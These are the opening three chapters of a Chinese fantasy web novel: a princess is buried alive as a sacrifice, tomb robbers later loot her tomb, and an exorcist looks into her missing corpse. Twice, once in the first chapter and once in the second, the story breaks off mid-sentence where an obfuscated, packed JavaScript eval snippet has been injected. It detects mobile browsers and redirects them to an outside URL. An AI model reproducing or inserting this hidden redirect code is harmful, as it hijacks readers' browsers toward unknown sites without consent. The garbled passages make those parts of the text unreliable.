《一觉醒来变天了》 1. 青铜棺 一夜冷雨淋漓,淅淅沥沥,自无垠的灰色天穹坠下,撞碎在地面如千军万马踏过。 岐山山顶阴云环绕,时不时有深紫电光划闪过天际。郁密的深林正中,一处阔大的圆形道场被凭空开辟出来,里外合计九重,从高往低,最深处的底部是一处方长玉台,上置彩绘梓棺,梓棺外又套金铜大椁[1],前宽后窄,四角皆连着龙衔珠状的铜链,委垂在湿漉漉的地面上。 山雨受力牵引,汨汨地淌入道场底层,不多时,便积起一层黑沉的水。 姬容仰面躺在棺材里,隔着厚棺板,仍能听见四面八方的招魂幡在风声里猎猎鼓起,巫觋吊着声吟哦祭曲,细长的嗓音仿佛下一秒就会被无形之手掐断。一时只觉得颈下的玉枕咯脖得很,金晶石幽微地亮光,正对着她的棺面上还画了一只单足站立的红凤。 她怀里还抱着一轴画卷,质地柔软,不知道是什么材质的兽皮,绘着一张陌生的舆图。 听国师说,这是神仙亲手画的仙境图卷,选在吉日吉时,同阴年阴月阴日生又有特定命格的人一同藏在阵眼里,就能保王朝兴盛三百年不衰。 说是“藏”,其实不就是作活人祭吗? 就像特定命格的人不好找,偏偏本朝天子唯一的嫡亲妹妹,就是这个符合要求的天选之子——但世界上哪来那么多巧合的事。 棺外响起沉闷的叩击声,年轻的天子俯下身,声音一如往日般温柔:“容容,你怕不怕?” 姬容不答反问:“我怕,你就会放我出去?” “别说傻话,”姬澄微微地笑起来,“你还是小孩子,不懂长生的好处。” 长眠一生的那种长生吗? 姬容:“……那我俩交换,换我出去当皇帝,你进来躺着。” 说得轻松。 姬澄依然只是笑:“我当然很愿意了,但是命格不合适就是不合适,容容,你又在说任性的话。” 好话歹话都让他一个人说完了,这下姬容真没话说了。 她眨了眨眼睛,说不清心里是害怕,还是穷途末路的死寂。 先皇理政无纲,乾坤颠倒,以致各地起义纷纷而起,各路诸侯王联合逆伐,她既是先皇的独女和除现天子外唯一的王室正统,为了拨乱反正,还社稷一个安宁,牺牲自己似乎也是理所当然。 毕竟姬澄要是没守住国门,她横竖还是个死字,相比起来,还是这样体面一点。 外面的雨水越积越多,渐渐漫过了玉台,又漫至棺身过半。 天子早在寥寥安抚完几句后,就拎着衮服离开了,走之前吩咐赤膊的力士,替姬容盖上了那顶四百多斤重的盘龙栖凤金铜椁盖。 棺中的空气越来越稀薄,姬容慢慢地闭上眼睛,屏住呼吸,任凭黑暗吞噬自己的意识。 远处传来国师的高声吩咐,冷酷的话语在山林回荡:“落土——!” 天阴似阖眼,雨冷如寒星。激荡的积水不断堆高水位线,原先还在跳舞的巫觋也停下了动作,涂白的一张张脸上毫无表情,倒葱似地挨个头朝下栽进祭坛里,不多时,水底便半浮起一道道白影,直看得拉棺的力士阴瘆不已,汗流如涌。 旋涡中心,九龙铜锁凭空抬起一具巨大铜棺,突兀里响起鸟声清啼,年轻的天子站在国师旁,抬起头,遥遥看见一道火团,如坠星般滑过天际,赤羽彩纹,降得愈近,愈显得身姿秀颀,端丽惊人,宛转的长啼后,便头也不回地毅然投入铜棺。 “凤凰……” 天子喃喃地仰头,脸上说不清是什么神情。 眩目的彤红光芒,自凤凰消失的地方爆发出,将整片岐山都照亮,紧接着就是平地鼓起旋风。 呼——呼——! 只听见轰隆隆一阵连绵不断的呼响,地脉深处仿佛有什么埋藏已久的封印被破除了一般,剧烈地颤动起来,顿时泄水如洪,山陵崩摧,无边天际压下,只是闭睁眼的功夫,小半边岐山就被泥石流夹带着滚滚而下,将耗费了无数人力物力挖掘了九九八十一天的祭坛深坑,埋了个严严实实。 连带着王姬棺椁,数百浮尸,与早已准备好的地底陵宫一同被填平。 * 轰! 平地雷响,像是砸在了头顶,李二狗本就心里发虚,被雷声吓得大叫一声:“哇啊!” 阴森的地下陵墓,本来就只有一只手数得过来的几人走在里面,他这冷不防一声没命的鬼叫把其余人都吓得不轻,还以为出了什么天大的事。 “叫什么叫?”回过神来,领头的疤脸恼羞成怒,一脚踹在李二狗屁股上,将他踢得踉跄,差点摔个狗啃屎,“不就打了个雷,老子还以为怎么了,最败德行的事都干了,你这会儿倒装模作样起来了。” 平白挨了一脚,李二狗也不敢在脸上摆出不满的神色,只敢讨好地笑:“陈、陈哥,我这不是第一次下斗吗……您大人有大量,消消气,消消气。” 疤脸:“新手还不嘴巴紧点,想被扔进地下河喂鱼?” “行了行了,都是一伙的,还没摸到斗就急着窝里斗干什么?陈虎,你也消停点,”另一个看起来脾气好些的黑冲锋衣男人朝疤脸瞥去,压低了声音,“闭嘴少说两句,要是招来那些东西,我们一个都逃不掉。” 许是联想到了黑冲锋衣说的“那些东西”,被喊作陈虎的疤脸男人脸色微沉,剜了李二狗一眼,却也暂时放过了他。 一行五人打着手电筒,沉默穿过长得几乎看不见尽头的墓道,雪白的灯光照在土路旁散落的铜器陶皿上,各个都做工精细无比,比起Z城博物馆里的藏品都差不到哪去。 李二狗看得眼热,但其余人没有吱声,更没有多分去一眼,他也不敢贸贸然停下来捡。 Z城前面连下了一周的大雨,夜里泥石流,把岐山南面的小山坡给带塌了。这不塌不知道,一塌不得了——竟带出个从未发现过的大型陵墓来了。 虽然还没确定墓主是谁,但光估算占地面积和外围陪葬的人俑,专家就估计高低得是个王侯墓。Z城号称千年古都,在这建过都的几个王朝,年份都得往四位数上数,本地文物局不敢私自探查,连夜打电话给首都,请总文物局的专业考古队伍来探查。 在此之前,他们还特地派了一拨军队在周围驻守着,防止有胆大包天的盗墓贼,跑来偷摸着带走国家的宝贵文化遗产。 但只有千日做贼的,哪有千日防贼的? 陈虎这只盗墓贼队伍,不知道从哪里打听来了这个消息,一合计,决心在首都的专家来之前,先顺点值钱的东西走。 这可是王侯级别的大墓! 那些王侯大官的一间墓室,恐怕就比一百个外面野墓里的好东西加起来都多! 他们也是技高人胆大,趁着雨没停,就摸黑爬过了岐山山脚的警戒线。队里那个黑冲锋衣的人会点堪舆寻龙之术,寻龙尺点指天,洛阳铲点地,就开出个野墓洞来了,几人挨个钻进来,正正好落在墓道上。 黑冲锋衣下过好几次大墓,因此一眼就看出了这个墓的布局安排:“这是贯通南北的中道,自古王侯讲究背山面水,坐北朝南,顺着这条路一直往北走,就能找到墓室。” 陈虎做事干脆,一甩手电筒,就道:“走,外面还有条子看着,咱摸一间就打道回去。” 在这支盗墓贼队伍里,李二狗是资历最浅的那个,要不是队里实在缺人,又跟陈虎是老乡,再加上之前因为偷电瓶车进了几次派出所,也算沾了个偷字,不然这泼天的富贵,也落不到他头上。 知道自己其实是来当苦力的,李二狗相当摆得正自己的位置,一路上低眉顺眼,唯唯诺诺,让干什么干什么,其它盗墓贼看他还算顺眼。 虽然刚才没憋住那一嗓子,但陈虎踢完了也就揭过这回事了,他转而从墙上扣了块拳头大的白玉夜明珠,擦擦土屑,就扔进了自个儿的包里。 陈虎是专认明器的[2],他拿了就说明这东西没什么问题,另外几人也有模有样地各抠了枚夜明珠塞包里。 他们这一行的大头目的是墓室里的金银玉器,因此对于这种照明用的常见珠宝,不算很看得上眼,只有李二狗没忍住多扣了几颗,入手光滑,一看就是好料子。 乖乖滴个咚,这玩意儿看着就不便宜! 墙面的土有些发黏,不知哪里传来吨吨的水声,料想附近有地下河,但看墓室的干燥情况,盗墓贼们又没太放在心上。一条路向南直行,看着长,实则没走多远,最前面的陈虎就望见了一扇顶天立地的青铜门,恢弘,宽大,描刻面积广,线条粗犷的兽面浮在门上,仿佛下一秒就要跃出平面的限制,将前来叨扰的后世人生生咬死。 “工艺像周朝,”陈虎沉声道,“这个朝代太久了,发掘的墓少,还是出了名的邪门,三年前首都考古队的人在C城发现了一处周朝墓,墓主不过是个周晚期的小诸侯,却差点让首都的人折在里面。过会儿二狗跟我一块打头进去,后面的人别乱摸乱拿的,一定要守规矩,听见没!” 李二狗惊骇:“陈哥,我同你一起进去?” 他他他……他第一次下斗,什么都不会啊!这不是在故意拿他的命试路吗? 陈虎不耐烦道:“你是生人,身上干净没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491084|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 债,不容易激出一些东西,还有我跟你一起,怕什么!怕就滚出去,今天的东西你一个也别想分到!” 招人之前不知道这个李二狗胆子这么小,陈虎心生嫌弃,要不是需要生人以防万一,他才不会把这个愣头青招进来碍事。 摸摸包里几个圆滚滚的珠子,李二狗对钱的渴望最终还是战胜了害怕。 再退一步说,好歹有个陈虎陪着呢。 他犹豫着上前几步,推动青铜大门,墓门看着重,上手却不废多少力气。 才推开道门缝,一阵暖风就打着旋儿出来,夹着灰,扑在几个盗墓贼脸上,顿时咳嗽声此起彼伏地响起,墙上的夜明珠光芒幽微,像一只只睁开的眼睛,冷冰冰地盯着他们。 有不明显的黑影似乎从手电筒灯光范围外滑过,可惜无人注意到。 陈虎推了把李二狗的肩膀:“往里走。” 李二狗只好举起手电筒,鼓起胆子往里走,柱状白光扫来扫去,照出四边角落里压墓的小山,俱是成堆的金银珠宝,他不禁看得呆了,呼吸也错乱了几分,抖着声道:“陈哥,你快进来看看……不得了了,我们这是要发了啊!” “什么发了不发了的……我去!” 饶是见多识广的陈虎,也被墓主的阔绰惊了一跳,墓室内至少四五十平,金器银器扔在墙角,泛黄的珍珠宝石手串滚在地上,好一番奢靡景象! 内里没有棺材,说明这还不是主墓室,只是一个放陪葬品的侧墓室,就能这样大气,主人定然身份不凡。 这趟还真是富贵险中求,至少一年都不用再下斗了! 乱花迷人眼,陈虎心里提着口气,迅速回了神,点了三炷香放在门口,急忙低声吩咐道:“十五分钟,速战速决,拿上值钱的就赶紧走,这墓主肯定不简单,招惹了对我们没好处。” “晓得嘞哥!” 盗墓贼们倾巢而出,也不知道是不是这间墓室更接近地下河的原因,那涌动的水声越发地大了。 说来也怪,明明金银珠宝唾手可得,李二狗的心里反而比刚才更不安定了起来。 钱是这么好赚的吗……他下斗之前,原本只打算随便捡点值钱石头来着,哪成想居然遇到了宝山。 眼前的财宝越是容易得到,他反而越是害怕,偏生那黑冲锋衣看他一动不动,以为新人不好意思跟他们抢,啧了一声,心想着就十五分钟,也不利索点,手上却招呼道:“小李,拿个包来!” “好、好嘞,哥你看我背上这个空着的行不行?” 李二狗赶忙小跑着凑过去,他心神不宁,脚底不慎被一个滚落在地的金钏绊倒,摔了个屁股墩,手电筒在地上咕噜噜打着转,最终卡在了钏环的里面,斜向上照去。 陈虎正巧看到这一幕,当即嘲笑出声:“蠢!” “哈,哈哈……” 李二狗尴尬地跟着笑了两声,忽然感到一阵不对劲,不知何时起,地上竟然出现了一道黑越越的庞大影子。 方形,四角连着铁链,大而狰狞,看起来还正悬挂在了他的头顶。 旁的盗墓贼笑了两声,也就不关心他了,连黑冲锋衣都摇摇头,转头收拾起了自己的包。 李二狗咽了口唾沫,腿软得站不起来,没骨头似地趴在地上,颤颤巍巍勾着了自己的手电筒,那罪魁祸首的金钏仍卡在手电筒上,捋也捋不下来。 手电筒的光直冲着顶,李二狗僵着脖子,一点点地抬起了头,终于看清了悬在他们头顶的是什么。 ——那是一具四龙衔角、做工极为精细的巨大青铜棺材,阴影投下,正好将几人都隐隐笼住。 进来时的青铜大门也不知从何时起被人关上了,直到现在,他猛然回头,才看见门背面居然还有几行古朴的刻字。 至于门旁边陈虎点的香,开始有多长,现在就有多长,根本没点着。 李二狗是农村人,基本的神叨常识还是知道的啊,香没点着……就等于墓主人拒绝了他们的供奉。 水声骤然汹涌,一重重地撞击在墓室墙壁上,在他的注视下,那具高挂的青铜棺,棺盖竟一点点地挪开条缝,缓慢如东南亚诡片中,鬼王登场前的典型慢镜头。 咔咔,咔咔,窒人鼻息的腐气扑面而来,仿佛有什么阴邪至极的东西,正在悄然苏醒,另外几人却还沉浸在金宝银宝的诱惑里,连最开始定下的一炷香时限都忘了个干干净净。 李二狗孤助无援,终于是彻底撑不住了,混乱惊恐的思绪占据了他的大脑,他张了张嘴,绝望的惨叫声蓦地爆发出来: “啊————!” 2. 白玉瓶 Z城知名富人区,某栋豪宅内。 日暮西沉,偌大一个里外共四层的独栋别墅,此时门窗紧闭,连只苍蝇都飞不进来,灯也没开,昏暗中只有两柄小臂长的红烛,在静默地淌着烛泪。 房间氛围莫名诡异,像极了某些国产恐怖片中常见的冥场面,仿佛下一秒就要有红衣女鬼从黑暗中凄惨爬出,张着血盆大嘴见人就咬。 缩在墙角的房主本人被自己的有端联想吓得一抖擞,怂起肩膀,又往身旁的大师身上贴近几分。 而在红烛的中间,约莫三四米的距离,一个年轻男人站在烛光辉映之地,右手负剑,剑尖刺穿数张黄符,左手掐诀,镇定踏出第一步。 似是察觉到了他在干什么,房中若有若无的鬼叫声骤然凄厉,凝成实体的黑影再也按耐不住了,从黑暗里滚出,狂啸着就要向他扑去! 厉鬼当前,年轻人却神情不变,又迅捷踏出剩下六步,俱踩在北斗七星的星位上,最后一步脚尖刚点地,他右手便挽出一个剑花。 剑尖黄纸划过红烛,随即被点燃,这人高声喝道:“破!” 屋里响起一阵尖锐的爆鸣,片刻后,原先阴沉的氛围也消散开,暖气重新充盈进屋内人的手脚关节。 这便是成了。 周步虚打了个哈欠,随手拍开情不自禁抱住自己手臂的雇主,又按下墙上的开关,雪亮灯光瞬间照亮豪宅,也照亮屋里几人。 他轻松一笑,打破了周遭安静的氛围:“咱秋儿的道术又进步了不少啊,方才那只鬼都有实体了,还不是被一招天罡步就给打散了。” “那是,也不看看是谁出手。” 坐在沙发上还坐着一个挑染鲻鱼头的少女,她吹了声口哨,不知道从哪里掏出个巴掌大的随身pos机,笑眯眯地递到雇主面前,“看在熟人介绍的份上,这边给您免去手续费,委托费总计5万元整,承蒙惠顾,您看您是刷卡还是开支票?” “……刷卡吧。” 雇主是个四十多岁的中年男人,名叫董自成,是Z城一家上市公司的老总,直到法事结束都还有点回不过来神,不敢相信困扰了自己全家将近半个月的梦魇鬼影,就这么被几个年轻人轻轻松松地迅速解决了。 他吞了口口水,边从怀里掏出银行卡,边抖着声试探问道:“大、大师,这就……这就完了?” 被电灯的大白光压着,原本在黑暗里默默燃烧的红烛也显得没那么吓人了,方才施法的年轻道士吹灭蜡烛,简略地“嗯”了一声。 他抬起脸,即使穿着简单的白色连帽衫和牛仔裤,也掩盖不住那张优越到可以原地出道的清俊脸庞。 许是才经历过一场驱鬼法事的原因,大师的表情看起来有点冷酷,但随即响起的电话铃声打破了他无情的气质。 低头看了一眼,张京秋就放下木剑,拿着手机推门出去了:“抱歉,我接个电话。” 等人走了,董自成才松了口气。 那位张大师虽然很有本事,长得也很帅,但每次对着他那张冰块脸,董自成都莫名觉得拘谨,就好像自己这种凡人光是站在对方面前,就被平白无故地矮人一等似的, 好在另外两位大师还是很平易近人的,他刷着卡,边跟他俩打探:“大师,你知道这鬼是哪冒出来的吗?” “你买到了不干净的东西,”白凌燕对他付钱干脆的作风很有好感,耐心答道,“喏,就桌上那青花笔洗,那是陪葬品,带点什么怨气也很正常。” 董自成脸色陡然一变,好在白凌燕又接着补充了一句:“不过现在已经被净化了,没事,接着用吧。” “就是想买点稀罕货装点门面吗?”董自成皱着张脸,苦笑道,“哪成想还给家里招来了麻烦,以后我再也不敢乱买这类东西了。” “这有什么好投鼠忌器的,古董不都是死人用过的东西?” “话虽如此,但……” 白凌燕将pos机揣回怀里,灿然笑道:“从正经路子买不就行了?都是驱邪过的,比乱淘来的安全多了,你要是不放心,我还能给你推荐几个靠谱的呢。” “您这也有人脉?”董自成受宠若惊,“那可真是辛苦白大师了!” “客气,客气。” 刚当面帮忙驱散了一只鬼,董自成这会儿对几人的信任正是到达顶点之际,白凌燕随口报了几个店面和拍行,都被他拿手机备忘录记下。 看在他们的面子上,恐怕董自成回头从这事里缓过来后,就会去光顾几笔交易了。 趁着董自成偷偷拿手机查店铺情况的功夫,白凌燕起身,踱到周步虚身边,后者背着手,端得一派闲云野鹤的样子:“又掺杂私货,你就这么光明正大地给你们白家的店拉生意?” 白家家大业大,商业版图遍及大江南北,就算是在Z城也有好几家下线。 毕竟是专操玄学这行的,质量可靠,有口皆碑,当然,店里的东西也是出了名的——贵。 白凌燕对此心安理得:“光谈价格不谈质量,这是耍流氓。” “溢价多少你心里没数?” “说得好,那你从我这借去买金罗盘的钱,准备什么时候还?” “……”周步虚沉默片刻,随即从善如流地改口道,“姐,咱俩何必一家人说两家话,伤感情的话以后少说,我知道你一直都在为了这个支离破碎的家负重前行。” 白凌燕冷笑:“周步虚,你脸皮也是够厚的。” 他俩没拌嘴多久,出去打电话的张京秋就回来了,他扫视一圈书房,董自成是真的爱买古董,从书桌到博古架,乃至于茶几上,都放满了大大小小的作古物件。 这里面大多是假的,对于别人兜里的钱怎么花,张京秋毫无掌控欲,但也难免有几件真品夹杂在其中——不排除这些物件上还存留着其它危险的可能。 玄学届有人喜欢斩草不除根,好培养回头客,殊不知交易成立的那一刻,两方就已经构建因果,一日不了结,一日就仍有翻船的可能。 张京秋收回目光,特意嘱咐道:“龚老师来了Z城,约我在市文化局见面,过会儿麻烦你俩在这里排查一下剩下的古物,能净化的就给净化了,务必排除一切可能风险,替屋主作周全考虑。” “好哦~” 恰逢董自成搜完白凌燕给推荐的店面,确实是内部渠道,文玩圈的老总朋友们纷纷给予充分肯定,一回来又听见了张京秋的这番吩咐,顿时感动得眼泪汪汪:“大师,您真是太体贴了!” 人不可貌相,大师胸怀不可斗量,面冷心热,胆大心细,五万块买不了吃亏,五万块买不了后悔。 他一个激动,就又在白凌燕的pos机上刷了五万块。 这下就连最云淡风轻的周步虚,脸上的笑容也殷切起来了。 张京秋不太习惯被年纪快能当自己爸爸的人一口一个“大师”,他有些不自然地转过头,轻咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491085|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两声,将桃木剑收拾进便携乐器包,往背后一摆,黄符则留给白凌燕和周步虚以备不时之需,点点头聊当告别,就准备离开。 临到门口,张京秋的目光却忽然一转,被靠墙音箱上的白玉长颈壶牢牢地吸住。 白玉质地莹润有光,颈长古朴,侧面曲起的两耳雕刻工艺也颇有特色,看表面色泽,至少是千年往上的极品古物。 见大师的眼珠子都快黏在新买来的古董上,才经历了闹鬼一事的董自成霎时间心提到了嗓子眼,感觉头盖骨都要凉透了,颤声问道:“大师,这瓶子是也有问题吗……很棘手吗?” 方才见着鬼的时候,大师的表情都没这么凝重! 另外两人也顺着看来,奈何左看右看,没看出半点问题。 “没,这瓶子很干净,”张京秋回过神来,解释道,顺便从口袋里掏出手机,给白玉瓶拍了张照,“只是看造型有点特别,看起来年份不浅,有点稀奇。” 殉葬品埋在墓里,长年累月,难免沾染阴气,哪怕墓主死得再安详,也是没法避免的。 所以流通在市面上的古董多以五百年和千年为一个界限:五百年限往下的,除非墓主大奸大恶,生前杀气重或者不得好死,否则与寻常老物件也没多大的区别; 五百年到一千年间的,只要来路干净,做过法事,经过专人指点,放在家里也可起到保风水的良功。 千年以上的那种,算是被阴气腌透了,做过再多法事也不能放在家里,必须收进博物馆这类风水极佳又人流量大的地方,日日夜夜用活人气浸润。 但最奇怪的就是,这玉瓶明明不像假的,但瓶身却一丝久埋地下的阴浊秽气都没有。 张京秋偏科有点严重,光凭眼力也确定不了这到底是哪个朝代的东西,好在过会儿就要去文化局见老师,到时候问两句也就顺口的事。 没阴气就说明没风险,他纯粹是第一次见,好奇了。 一被人夸起自己的收藏,董自成就得意起来了:“那是我前两天刚收到的好东西,听说是周朝的呢,大师您难道也对古玩有研究?” 张京秋心想华国总共才开了两个周墓,你一个私企老板往哪摸来的国家一级文物,心中更加认定是自己看岔了,嘴上却答道:“我大学修的历史学,对这类东西也算有点研究。” 董自成很震惊:“大师您居然还上过大学?!” 张京秋:“……” 这什么破问题? 他默然片刻,忍不住踌躇问道:“我看着很像文盲?” “哈哈,我不是这个意思,我意思是大师您这么有本事的人,没什么必要去……”自知嘴瓢,董自成干笑两声,奈何越找补,越像描黑,“这不是觉得,呃,就是您会的这些玄术本来也不是能在学校学到的吗?哈哈哈……我我我绝对没有瞧不起……” 他的声音在张京秋冷淡的注视下越来越小,越来越心虚,最后彻底放弃了负隅顽抗,眼一闭,直接认错:“我错了。” “……读书无用论的想法不对,掌握知识很重要,至少对普通人来说是这样的。” 董自成点头如小鸡啄米,大师说的都对。 “还有,”张京秋不自觉地握紧了手机,俊脸绷紧,最终还是吐了口浊气,一言难尽道,“装点家里的方式有很多种,不是只有买古董一种,家里本来也就不适合摆太多这种东西。” 再怎么说,那也是死人的东西。 3. 王姬墓 等从董自成家的别墅里出来后,彩霞已经铺上天际。 这处富人区是一片位于城郊的半山别墅群,在到山脚打车之前,张京秋还得跋涉一段不短的下山路,久雨初晴,Z城的空气少有的清新,类似于湿泥林木的微腥气息在弥漫。 董老板倒是想开车捎带大师一程,奈何因为他家前段时间的闹鬼事件,仆人基本都找理由请假回家了,白凌燕和周步虚还在他家继续检查其它风水上的问题,张京秋便婉拒了他的好意。 走了没两步,张京秋就皱起眉头,蹲下来看地面。 这一片是沿山路,沥青路面两边就是茂密的森林,生态极好,也就不可避免的会有一些人类之外的生灵在此生存。连绵数周的大雨初霁,饱满水汽将泥土的孔窍填得满满当当,为了喘一口,平素住在土里的虫子就会翻身而出,呼一口新鲜空气。 因此雨后在路面上看见成摊的蚯蚓也是正常现象,但问题是,这里的蚯蚓尸体也太多了。 棕黑色的长虫尸体被人扫在道路两边,密密麻麻,几乎铺了一层,光靠粗看很难跟普通路面区分开,再细看又差点给人看出密集恐惧症,干燥的环节失去粘液的光泽后,变得皴裂,扁平。 张京秋拿出手机,点开天气软件,雨是一小时前才停的。 短短一小时而已,不应该被晒干成这副样子。 “挡煞吗?” 他低低念着,蚯蚓又名地龙,对所居环境的变化十分敏感,尤其是像这样反常地炎灼而死,绝对是土地的问题。 富人区不会出现莫名其妙的污染泄露问题,那就只可能是在风水上冲了煞。 联想到最近在Z城发生的事情,意外发掘的周代古墓,夜雨滑坡的半面岐山……张京秋强行按下心头的不祥预感,给地上这片蚯蚓尸体拍了个照,发到某个小群里,提醒一声,便无甚表情地合上手机。 几句问询挤进群里,但张京秋看都没看,就如一只灵敏的大隼提速向山下疾驰而去,他刚下单的网约车还有两分钟到。 是非因果,还得等拿到更多线索才能确定。 * 文化局坐落在Z城市中心,还好临到夏季,下班时间比往常晚了半小时,但等网约车一路风驰电掣飙到门口时,里面的人也都陆陆续续地走空了。 迟到的原因,张京秋在电话里就已经跟老师解释过了,他下车付完钱,往那栋明显有些老旧的三楼小白楼抬头看了眼,还有一间办公室的大灯在□□,料想就是龚老师特意留到现在。 给门口躺空调室里听收音机唱戏的老头看过短信,又在登记簿上签完字后,张京秋便朝里走去。 楼底种着三两簇翠竹,竹影错落,别有几分清幽文雅的韵味,文化局工作清闲,不混个好几年,没那么容易能把编制落在这里,因此走在里面时,张京秋年轻,又长得俊,还在这个点来,吸引了不少下班职员的注意。 “这谁啊……谁家亲戚?” “不知道,以前没见过,这段时间单位好多人来人往的生面孔,估计都是为了岐山那个来的。” 小声说话那人用手肘用力捅了下同事,她说的隐晦,但同事还是一点就通。 “……那可不是一般的邪门,啧啧。” 首都明面上专门派了一支学者小队来接手这事,队里除了考古学家和历史学家,还有好几个科院的科研人员,得益于前几年展开一项名为跨学科断代史研究的联合项目,现在考古的技术比以前进步了好多,不再只靠人眼来看,而是通过化学元素的衰变测定,以及计算机复原术,来精准判断考古年份和残缺图文信息。 对于那些时间离得远的朝代,这招尤其好用,此前全国范围内还没发现过周代的考古遗址,因此乍一听到消息,就直接打包了一大只精英队伍过来,其中带队的就是在海内外都公认的历史学大家龚铭。 在燕京大学的时候,龚铭负责给张京秋所在的特殊专业上历史选修课,因此在发现周墓有异常后,他直接将几位专精玄术的学生给喊过来了。 张京秋推开办公室的大门,偌大的六人间办公室,就看见一个捧着双层玻璃茶杯的小老头,笑呵呵地坐在角落的桌子后,朝他招手:“京秋,来,坐这边。” “龚老师好。” 桌上还有好几个纸杯没收拾,在他来之前,这里应该才发生过一次讨论。 张京秋依言坐下,龚老推来一份厚厚的打印资料,目测有一百来页:“另外几个同学没来,那你就先把这份资料带回去,里面有目前所有关于王姬墓的信息,包括各个墓室的实地照和团队的会议记录,后续你们执行任务应该用得到,规矩你知道的,不要外传。” “王姬墓?”张京秋随手翻了下成打的资料纸,满当当的黑字镶嵌在白纸上,看着就让人头晕目眩,“不是说墓主尸体没了吗?” 龚老:“我们在里面发现了墓志铭,刻在主墓室的门后,就是从这里确认墓主身份的,你看第五页。” 那里有拓印自墓门的古字,拓印里的刻字笔锋古朴,锋而不锐。 古文字也是必修课之一,因此张京秋毫不费力地就辨认出铭文内容。 【下接黄泉,上绝青冥,王姬眠处,勿惊勿撄, 千山共宿,万海同归,封世自存,寻彼昆仑。】 “上穷碧落下黄泉,”凝视片刻,张京秋问道,“好恢弘的排场,这是哪位王姬?” 龚老摇摇头:“我们就是不确定这个,毕竟周朝嘛,众所周知的神话纪年,缺乏史料,遗留下来的有关记载又太过奇幻,光看着几句,看不出什么明确的指向。” “本来这个墓可以成为上古史研究的又一大突破,奈何……”说到这里的事后,龚老叹了口气,“前期没做好保护工作,在外面发现了盗墓贼的野墓洞,等我们下去的时候,主墓室的两重大棺都被开了,里面的尸体不翼而飞,唉,造孽啊。” 张京秋还觉得有疑点:“盗墓贼盗的是陪葬品,又不是倒卖尸体的,怎么会带走墓主尸体呢?” “这就是派你们来的原因,”龚老咚的一声,放下抱在手里的保温杯,脸上也浮现出凝重的神色,“阴阳有别,论找起死人,玄学届的人比我们擅长,今年天师府主张在Z城举行鱼龙会,想必也有这方面的考量。” 果然是为了这个。 比起千年古尸成精,和别有用心试图拿尸体做一点别的,张京秋现在更情愿是盗墓贼脑子进水了。 而且那份说是从主墓室拓下来的墓志铭,不知为何,让他心里总觉得有些异样。 山海同归,共觅昆仑。 这真的仅仅是留给一位公主的墓志铭吗? “对了,我这还有个东西,要麻烦您看一下,”张京秋忽然想起在董自成家看到的那个白玉瓶,他从手机里调出照片,举到龚老面前,“是在朋友家看见的,样式很是别致,您看得出来是哪个朝代的吗?” “嘶……” 龚老眯起眼睛,眼睛恨不得都黏到手机屏幕上去:“像是周代的,再往后的朝代有了更好的替代材料,是不会用玉做水壶这种中型器皿,而且就算是在尚玉的周代,品质这么好的玉壶也只有王公用得起。纹路细致,作人面兽状,师傅手艺不错,要不是你说是在朋友家看见的,我恐怕会当做真品。” 张京秋:“有您这一句,看来水准确实不错。” 问题是,完成度这么高的赝品,是从哪里找到母本来仿制的呢? 龚老也只是考古队那边的负责人,交接完资料,张京秋就先行告辞。 他出了文化局的院子,站在路边,立马拨通白凌燕的电话:“你和周步虚现在在哪?” 正值傍晚,温度又凉快,路边有三两家庭结伴出来散步,为了防止碍着别人的路,张京秋边走边说,冷不防看见人群里一对奇艺显眼的组合:一个约莫十六七岁青春靓丽的女孩,和一个看起来就苦相横生的中年男人。 两人虽然明显看着是同行,但无论是外貌年纪,还是神态气度,都天差地别。 那女孩外貌太过出众,一头齐肩黑发又黑又顺滑,巴掌大的小脸上五官无一不精致到极点,俊俏神飞,连线下见过不少明星的张京秋都多看了两眼,眉目间的骄纵仪态,一看就是自小就被精心养护出来的。 倒是中年汉子獐脸鼠目,肤色暗黄,明明穿得也不差,但就是缩头缩脑的,不敢跟人对视,整一个行走的“怂”概念本身。 不过盯着别人打量终归是不礼貌的,张京秋也只觉得是一对普通的父女,他收回目光,重新思考起白玉瓶和周王姬墓的事情了。 白凌燕:“才干完活出雇主家门呢,他还打算喊我俩一起吃个晚饭,被我婉拒了,你有什么事急着找我俩?” “你们方便再回去一趟吗?” “方便是方便,还没走多远呢,但是为什么?”白凌燕奇道,“有东西忘他家了?” 张京秋道:“帮我问一件事。” 那个白玉瓶,到底是董自成从哪里得来的? 他还没说完,就听见一声清脆的“咦”,张京秋思绪被打断,下意识转身朝声源处看去。 还是方才那对差异颇大的父女,几个流里流气的黄毛男青年堵在少女身前,举起手机,嬉皮笑脸地跟人搭讪。 中年男人偷偷扯着女儿的衣角,唇角嗫嚅,劝她先走了,但那漂亮女孩也不知道是不是没接收到父亲放出的胆怯信号,只是睁大了一双黑白分明的无辜眼睛,饶有兴趣地问道:“可我连手机都没有,怎么跟你加微信?” 听到这话,她旁边的中年男人先浑身一颤,像是想起了什么糟糕的回忆,捂住脸,露出不堪看的表情。 其中一个穿破洞裤的青年嘿嘿笑道:“美女,你这借口也老套了吧,现在谁出门不带手机啊,没手机,我给你买一个不就行了?我俩加完联系方式你再走呗。” 说着,他就自然而然地,快要把手搭上女孩的肩膀。 当街欺负人? 